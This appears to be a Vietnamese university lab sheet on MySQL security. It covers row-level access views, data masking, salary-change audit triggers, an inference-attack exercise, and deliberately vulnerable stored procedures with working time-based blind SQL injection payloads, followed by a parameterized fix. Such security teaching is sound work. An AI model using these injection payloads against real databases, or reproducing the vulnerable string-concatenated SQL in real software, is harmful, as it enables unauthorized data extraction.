

LAB 03: BẢO MẬT CƠ SỞ DỮ LIỆU MYSQL

A. Thực hiện trên Server Bộ môn

1. Bảo vệ dữ liệu mức dòng

a. Chuẩn bị dữ liệu

-- 1. Cập nhật lại bảng dữ liệu hiện có và bổ sung thêm một cột dữ liệu

```
ALTER TABLE lab03_svXX.Employees ADD COLUMN Department  
VARCHAR(50);
```

--2. Cập nhật dữ liệu mẫu để phân loại

```
UPDATE lab03_svXX.Employees SET Department = 'IT' WHERE FullName =  
'Nguyen Van A';
```

```
UPDATE lab03_svXX.Employees SET Department = 'Marketing' WHERE  
FullName = 'Tran Thi B';
```

```
UPDATE lab03_svXX.Employees SET Department = 'IT' WHERE FullName = 'Le  
Van C';
```

b. Tạo các user đại diện cho các phòng ban

--4. Tạo User cho phòng IT

```
CREATE USER 'it_user_XX'@'%' IDENTIFIED BY 'Pass123@';
```

-- 5. Tạo User cho phòng Marketing

```
CREATE USER 'mkt_user_XX'@'%' IDENTIFIED BY 'Pass123@';
```

c. Vì trong MySQL ko có cơ chế bảo vệ dữ liệu mức dòng nên ta sẽ thực hiện theo cách khác

--6. Tạo View

USE lab03_svXX;

CREATE VIEW View_Department_Security AS

SELECT * FROM Employees

WHERE

-- Nếu User đăng nhập có chữ 'it', chỉ hiện phòng IT

(Department = 'IT' AND USER() LIKE 'it_user_%')

OR

-- Nếu User đăng nhập có chữ 'mkt', chỉ hiện phòng Marketing

(Department = 'Marketing' AND USER() LIKE 'mkt_user_%')

OR

-- Tài khoản svXX chính (admin) thì được xem tất cả

(USER() LIKE 'sv%');

d. Phân quyền trên View

--7. Thu hồi quyền trực tiếp trên bảng (nếu đã cấp trước đó)

REVOKE SELECT ON lab03_svXX.Employees FROM 'it_user_XX'@'%';

--8. Chỉ cấp quyền SELECT trên View bảo mật

GRANT SELECT ON lab03_svXX.View_Department_Security TO
'it_user_XX'@'%';

GRANT SELECT ON lab03_svXX.View_Department_Security TO
'mkt_user_XX'@'%';

e. Kiểm chứng

--10. Đăng nhập với tài khoản it_user_XX

SELECT * FROM View_Department_Security;

-- Kết quả: Chỉ hiện Nguyen Van A và Le Van C (Phòng IT).

-- 11. Thực hiện tương tự trên tài khoản còn lại và ghi nhận kết quả.

2. Che dấu dữ liệu (Data mask)

Yêu cầu: Hiển thị số tài khoản dạng 0011****4444.

USE lab03_svXX;

-- Tạo View che giấu thông tin BankAccount

CREATE VIEW Employees_Masked AS

SELECT

EmpID,

FullName,

Position,

CONCAT(LEFT(BankAccount, 4), '****', RIGHT(BankAccount, 4)) AS
Masked_Account

FROM Employees;

-- Kiểm tra kết quả

SELECT * FROM Employees_Masked;

3. Truy vết gian lận

Tình huống: Sử dụng trigger để ghi vết khi có ai đó thay đổi lương

-- 1. Tạo bảng lưu nhật ký thay đổi

```
CREATE TABLE Salary_Change_Logs (  
    LogID INT PRIMARY KEY AUTO_INCREMENT,  
    EmpID INT,  
    OldSalary DECIMAL(10, 2),  
    NewSalary DECIMAL(10, 2),  
    ChangedBy VARCHAR(50),  
    ChangedAt TIMESTAMP DEFAULT CURRENT_TIMESTAMP  
);
```

-- 2. Tạo Trigger để tự động ghi log

```
DELIMITER //  
  
CREATE TRIGGER before_salary_update  
BEFORE UPDATE ON Employees  
FOR EACH ROW  
BEGIN  
    IF OLD.Salary <> NEW.Salary THEN  
        INSERT INTO Salary_Change_Logs (EmpID, OldSalary, NewSalary,  
        ChangedBy)  
        VALUES (OLD.EmpID, OLD.Salary, NEW.Salary, USER());  
    END IF;  
END
```

```
END //

DELIMITER ;

-- 3. Thử nghiệm: Cập nhật lương và kiểm tra log
UPDATE Employees SET Salary = 2500.00 WHERE FullName = 'Nguyen Van A';
SELECT * FROM Salary_Change_Logs;
```

4. Tấn công suy diễn

Tình huống: Giả sử trong trường hợp bạn được phân quyền có thể thực hiện lệnh `sum(salary)` nhưng không thể thực hiện lệnh `select(salary)`. Yêu cầu hãy tìm cách tính ra lương của Manager.

- Cung cấp giải pháp và kết quả thử nghiệm.

5. Tấn công SQL Injection

Tình huống: CSDL đang có một Stored procedure như bên dưới:

```
USE lab03_svXX;

-- Tạo bảng chứa thông tin nhạy cảm
CREATE TABLE Users (
    Username VARCHAR(50),
    Password VARCHAR(50),
    SecretInfo VARCHAR(100)
);

INSERT INTO Users VALUES
```

```
('admin', 'AdminPass123', 'Key_kích_hoạt_bom_hạt_nhân'),
('guest', 'Guest123', 'Chỉ là khách');

-- Tạo thủ tục tìm kiếm ghép chuỗi (LỖI BẢO MẬT NGHIÊM TRỌNG)
DELIMITER //

CREATE PROCEDURE FindUser(IN p_name VARCHAR(100))
BEGIN
    -- Đây là Dynamic SQL - Nguyên nhân của mọi tội lỗi
    SET @query = CONCAT('SELECT * FROM Users WHERE Username = ',
p_name, '');
    PREPARE stmt FROM @query;
    EXECUTE stmt;
    DEALLOCATE PREPARE stmt;
END //

DELIMITER ;
```

Yêu cầu: Hãy dùng lệnh Call FindUser(); để khai thác lỗi SQL Injection ở trên và sửa lại mã lệnh ở trên sao cho an toàn hơn và không còn bị lỗi SQL Injection nữa.

6. Time-based SQL Injection

Mục tiêu: Hiểu cách trích xuất dữ liệu từ một hệ thống "câm" (không phản hồi lỗi hay dữ liệu) bằng cách đo độ trễ phản hồi (Response Time).

➤ **Bước 1:** Chuẩn bị môi trường

```
USE lab03_svXX;

-- Tạo bảng chứa mã bí mật
CREATE TABLE VoucherCodes (
    ID INT PRIMARY KEY,
    Code VARCHAR(50)
);

INSERT INTO VoucherCodes VALUES (1, 'SECRET-2024');

-- Tạo thủ tục kiểm tra
DELIMITER //
CREATE PROCEDURE CheckVoucher(IN p_code VARCHAR(100))
BEGIN
    SET @query = CONCAT('SELECT ID FROM VoucherCodes WHERE
Code = ', p_code, '');

    -- Thực thi nhưng KHÔNG trả về kết quả (SELECT vào biến ảo hoặc chỉ
chạy thôi)

    -- Giả lập tình huống ứng dụng Web chỉ báo "Đã xử lý" chứ không hiện
dữ liệu

    PREPARE stmt FROM @query;
```

```
EXECUTE stmt;  
DEALLOCATE PREPARE stmt;  
END //  
DELIMITER ;
```

➤ **Bước 2:** Kiểm tra bình thường (Baseline)

Trước khi tấn công, cần đo thời gian phản hồi bình thường của hệ thống.

1. Chạy lệnh: CALL CheckVoucher('SAI_MA');
2. Xem thời gian phản hồi/xử lý.

➤ **Bước 3:** Tấn công (PoC)

Nhiệm vụ: Chứng minh hệ thống bị lỗi SQL Injection bằng cách làm cho Database "ngủ" (treo) trong 3 giây.

```
CALL CheckVoucher("'" AND SLEEP(3) -- ");
```

➤ **Bước 4:** trích xuất dữ liệu

Tình huống: kẻ tấn công cần biết độ dài của tên cơ sở dữ liệu.

Tư duy tấn công: "Nếu tên Database dài hơn 5 ký tự, hãy ngủ 3 giây. Nếu không, hãy trả lời ngay."

```
-- Thực thi và đo thời gian  
CALL CheckVoucher("'" AND IF(LENGTH(DATABASE()) > 20, SLEEP(3), 0) -- ");  
  
-- Thực thi và đo thời gian  
CALL CheckVoucher("'" AND IF(LENGTH(DATABASE()) > 5, SLEEP(3), 0) -- ");
```


➤ **Bước 5:** Phòng thủ

-- Cập nhật lại code

```
PREPARE stmt FROM 'SELECT ID FROM VoucherCodes WHERE Code = ?';
```

```
EXECUTE stmt USING p_code; -- Tham số được truyền riêng, không ghép chuỗi
```

Lưu ý:

- 1.** Ở mỗi bước phải chụp lại hình ảnh (thấy lệnh và kết quả trả về). Chụp ảnh cả trường hợp đúng và trường hợp sai hoặc báo lỗi.
 - 2.** Lưu tất cả vào file pdf và nộp lại.
 - 3.** Tất cả trường hợp gian lận đều nhận 0 điểm toàn môn và bị cấm thi ngay khi phát hiện.
 - 4.** Chấm điểm lab theo hình thức vấn đáp.
-